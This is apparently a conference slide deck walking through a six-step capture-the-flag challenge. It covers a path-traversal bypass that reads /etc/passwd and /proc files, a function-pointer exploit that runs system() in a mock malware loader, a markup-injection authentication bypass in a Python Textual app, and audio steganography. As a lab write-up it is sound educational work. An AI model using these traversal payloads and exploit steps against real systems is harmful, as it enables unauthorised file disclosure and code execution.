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whoami

 Fabien PERIGAUD - 0xf4b

 Reverse-Engineering team tech 
lead

 Solve challenges since 2006
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The challenge

 6 steps

 1/2 : Web 101
 3 : Web/Pwn
 4/5 : Python textual
 6 : Steganography
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Steps 1/2: Web 101
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Step 1
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Step 1
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Step 1
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Step 1
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Step 2
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Step 2
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Step 2

 Need “SSTBrowser”

 From specific subnet
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Step 2
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Step 2



14

14

Step 2
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Step 3: Web / Pwn
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Malware C2

 Sessions: fake

 Payloads: 
download / 
upload feature

 Builder: fake

 Encrypt: 
payloads 
“encryption”
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Upload / Download feature
 Upload via /api/payload

 Download via /api/payload/download
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Upload / Download feature
 Upload via /api/payload

 Download via /api/payload/download
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Random tries
 ./blah.txt → got “blah.txt” file content
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Random tries
 ../blah.txt → also got “blah.txt” file content (??)



21

21

Random tries
 /blah.txt → Failure
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Assumptions
 “Normal” behaviour with “./blah.txt” and “/blah.txt”

 ../blah.txt returns blah.txt
 “../” filtering?
 Might be bypassed by using “..././” → results in “../” after removing 

the inner “../”
 What about a nice cup of “..././..././..././..././etc/passwd”?
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Assumptions
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Assumptions

$ python req.py dl /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
app:x:1000:1000::/app/:/bin/sh
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Assumptions

$ python req.py dl /etc/passwd
root:x:0:0:root:/root:/bin/bash
[…]
app:x:1000:1000::/app/:/bin/sh

$ python req.py dl /proc/self/cmdline
./api
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Assumptions

$ python req.py dl /etc/passwd
root:x:0:0:root:/root:/bin/bash
[…]
app:x:1000:1000::/app/:/bin/sh

$ python req.py dl /proc/self/cmdline
./api

$ python req.py dl /proc/self/environ | perl -pe 's/\x00/\x0a/g' | grep PWD
PWD=/app/api
OLDPWD=/app
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Assumptions

$ python req.py dl /etc/passwd
root:x:0:0:root:/root:/bin/bash
[…]
app:x:1000:1000::/app/:/bin/sh

$ python req.py dl /proc/self/cmdline
./api

$ python req.py dl /proc/self/environ | perl -pe 's/\x00/\x0a/g' | grep PWD
PWD=/app/api
OLDPWD=/app

$ python req.py dl /app/api/api
[…]

$ file api
api: ELF 64-bit LSB executable, x86-64 […]

$ ls -alh api
-rw-r--r-- 1 fab fab 19M mars  30 22:08 api
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Api binary
 Golang Web server

 “gin-gonic”
 API endpoints for:

 Payloads : list, download, upload, delete
 Encryption

 Encryption API:
 Write parameters to “/tmp/loader.in”
 Get response from “/tmp/loader.out”

 Who handles these files?
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/proc shenanigans
 Can implement /bin/ps by iterating on /proc/XX/cmdline 

around our PID
 And we can even read /proc/xx/maps (will be useful later)

 /app/loader/loader looks interesting!

$ python ps.py 1648
1648 ./api 
1655 /app/loader/loader infinity 
1656 /bin/bash /app/entrypoint.sh --started 
1659 /bin/bash /app/entrypoint.sh --started 
1661 /app/loader/loader 
1662 ./api 
1663 ./api 
1664 ./api 



30

30

/app/loader/loader
 x86-64 ELF

 Obfuscated strings

 Create FIFOs in /tmp/loader.in and /tmp/loader.out

 Read loader.in in a loop
 Input should contain 3 lines, directly written by “api” binary
 Algo (int, [0-99]), Key (hex, 16/20/32 bytes, depends on algo), 

Filename (uploaded payload)
 Fork() then enters state machine
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State machine
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The plan
 State 0: algo can be > 2, there is only an error log but the state 

machine continues

 Additional check on state 7
 ((algo>>3)^(algo*0x45D9F3B)) & 0xF == 7
 “5” matches

 We can OOB the function pointers array created on state 3
 … and our provided key is decoded and obfuscated in an adjacent 

buffer!
 Function pointer is called in state 5 with file content as first 

arg 
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The plan
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The plan
 We can use index 5 → key[8:16] should contain an 

obfuscated (XOR 0xBADCOFFEE0DDF00D) pointer to 
system()
 We also have to obfuscate the whole key with the custom xor 

(55*j + 19)
 Our file should contain “cat /app/flag_*”

 We need system() address
 /proc/xx/maps to the rescue :)
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$ python req.py dl /proc/1661/maps | grep libc
7f63b7e82000-7f63b7eaa000 r--p 00000000 08:f0 808    /usr/lib/x86_64-linux-gnu/libc.so.6
7f63b7eaa000-7f63b800f000 r-xp 00028000 08:f0 808    /usr/lib/x86_64-linux-gnu/libc.so.6
7f63b800f000-7f63b8065000 r--p 0018d000 08:f0 808    /usr/lib/x86_64-linux-gnu/libc.so.6
7f63b8065000-7f63b8069000 r--p 001e2000 08:f0 808    /usr/lib/x86_64-linux-gnu/libc.so.6
7f63b8069000-7f63b806b000 rw-p 001e6000 08:f0 808    /usr/lib/x86_64-linux-gnu/libc.so.6

$ readelf -a libc.so.6.dump |grep system 
  1054: 0000000000053110    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

$ python req.py ul x.bin 'cat /app/flag_*'
{'message': 'Payload staged successfully'}

$ python req.py enx x.bin 0x7f63b7ed5110 5
{'message': 'Encrypted: 
https://thcon-2026.m0rgan.net/a8e233e335c95ee5823d16eaadb33054dfb909d6afc7cdb4c13a1c6e903701a
4'}
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$ python req.py dl /proc/1661/maps | grep libc
7f63b7e82000-7f63b7eaa000 r--p 00000000 08:f0 808    /usr/lib/x86_64-linux-gnu/libc.so.6
7f63b7eaa000-7f63b800f000 r-xp 00028000 08:f0 808    /usr/lib/x86_64-linux-gnu/libc.so.6
7f63b800f000-7f63b8065000 r--p 0018d000 08:f0 808    /usr/lib/x86_64-linux-gnu/libc.so.6
7f63b8065000-7f63b8069000 r--p 001e2000 08:f0 808    /usr/lib/x86_64-linux-gnu/libc.so.6
7f63b8069000-7f63b806b000 rw-p 001e6000 08:f0 808    /usr/lib/x86_64-linux-gnu/libc.so.6

$ readelf -a libc.so.6.dump |grep system 
  1054: 0000000000053110    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

$ python req.py ul x.bin 'cat /app/flag_*'
{'message': 'Payload staged successfully'}

$ python req.py enx x.bin 0x7f63b7ed5110 5
{'message': 'Encrypted: 
https://thcon-2026.m0rgan.net/a8e233e335c95ee5823d16eaadb33054dfb909d6afc7cdb4c13a1c6e903701a
4'}



37

37

Step 4/5: Python textual
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Python textual
 Python framework to design an UI in a terminal
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Authentication
 Admin user has a random password

 We have to find an auth bypass

 But a quick textual explanation first!
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Textual
 Your app can have different “Screens”

 Each screen has a layout with different “Widgets”

 “Actions” can be defined at different levels : App (global), 
Screen or Widget
 An App action can be called from any screen/widget
 A Screen action can only be called from a screen or its contained 

widgets
 A Widget action can only be called in the context of this widget!
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Auth bypass
 Interesting behavior for a failed login
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Auth bypass
 Interesting behavior for a failed login
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Auth bypass
 Interesting behavior for a failed login
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Markup injection!
 What can we inject?

 Let’s read the doc!

 Actions can be called!
 Let’s call the login action :)
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Auth bypassed :)
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Auth bypassed :)
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Auth bypassed :)
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Auth bypassed :)
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Step 5 
 New injection?

 We have to read /transmission.md

 The directory tree is initialized on “~”

 There is an “open_file” action taking a full file path
 But defined in the “VisibleDirectoryTree” widget!
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Double injection
 We can inject a new click tag in our fake login

 But the action will be triggered in the header widget…
 We cannot directly call the open_file action
 The 3 possible namespaces for calling an action are: app, screen 

and focused
 “focused” targets the widget which has the focus, but clicking 

gives the focus to the widget which has the @click tag...
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Solution: triple injection!
 We can use a builtin action called “app.notify”

 It spawns a notification with a custom content
 If we inject a @click inside, the focus won’t be changed when the 

action is clicked!
 Plan:

 Triple injection
 Click in header → spawn notification
 Click in VisibleDirectoryTree to make it focused
 Click in the notification to trigger the 

focused.open_file(“/transmission.md”) action
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Triple injection
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Triple injection
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Triple injection
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Triple injection
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Triple injection
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Triple injection
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Triple injection
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Step 6: Steganography
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Not my favorite step...

$ ls -l
total 32188
-rw-r--r-- 1 fab fab 20832684 mars   4 21:23 audio1.wav
-rw-r--r-- 1 fab fab  9894068 mars   4 20:38 audio2.wav
-rw-r--r-- 1 fab fab  2221197 mars  25 10:03 enccrypted.crypt
-rw-r--r-- 1 fab fab      100 mars   4 21:32 readme.md

$ cat readme.md 
to decrypt : 
```
openssl enc -d -pbkdf2 -aes-128-ctr -in encrypted -out output 
-k <passphrase>
```
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Input
 An encrypted file and the openssl command line to decrypt

 2 audio WAV files
 Different sizes, duration, and content
 Classical music with some glitches when listening

 Now what?
 Audacity for the win
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Audio1
 Noise during first second

 Dead-end, spent too much time on it

 Usually, spectrogram is used to hide data in such challenges
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Audio1 - spectrogram
 Weird pattern in low frequencies!

 Try to decode it as a sequence of bits
 010101010101000001[...]
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Audio1 - Solution
 Bruteforce parameters (start, encoding (7 or 8 bits), bits 

values (0 or 1))

 Seems we got the idea…
 Now let’s look at audio2

$ python bf.py 
b'U_g0T_tH3_1d34\x00\x00'
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Audio2
 Spectrogram view

 Something seems to be happening in the first part

 Let’s change a few settings
 Increase window size 4096 → 32768
 Zoom in frequencies 0-100



66

66

Audio2 – New pattern
 A new encoding

 Same idea: decode as 0 and 1s
 7 lines: 7 bits encoding
 24 columns: 24 ascii characters
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Audio2 - Decoding
$ python dec.py 
decrypt with passTheHarm

$ openssl enc -d -pbkdf2 -aes-128-ctr -in enccrypted.crypt -out 
output -k passTheHarm

$ file output
output: gzip compressed data, last modified: Wed Mar 25 09:02:38 
2026, from Unix, original size modulo 2^32 2232320
$ zcat output > output2
$ file output2
output2: POSIX tar archive
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Epilog
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Final archive
 Transmission from M4terM4xima

 THCity will be destroyed 
 video.mp4 file

 Yet another steganography step?
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Final archive
 Transmission from M4terM4xima

 THCity will be destroyed 
 video.mp4 file

 Yet another steganography step?

 NO!
$ exiftool video.mp4 
File Name                       : video.mp4
[...]
Comment                         : 
https://thcon-2026.m0rgan.net/b694f6acadaf000499fd29ecea17da91794
925b7c808fd2a147b1523e1cf7c9d
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The End

 Thanks to all the organizers :)
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https://www.linkedin.com/company/synacktiv

https://twitter.com/synacktiv

https://synacktiv.com

https://www.linkedin.com/company/synacktiv
https://twitter.com/synacktiv
https://synacktiv.com/
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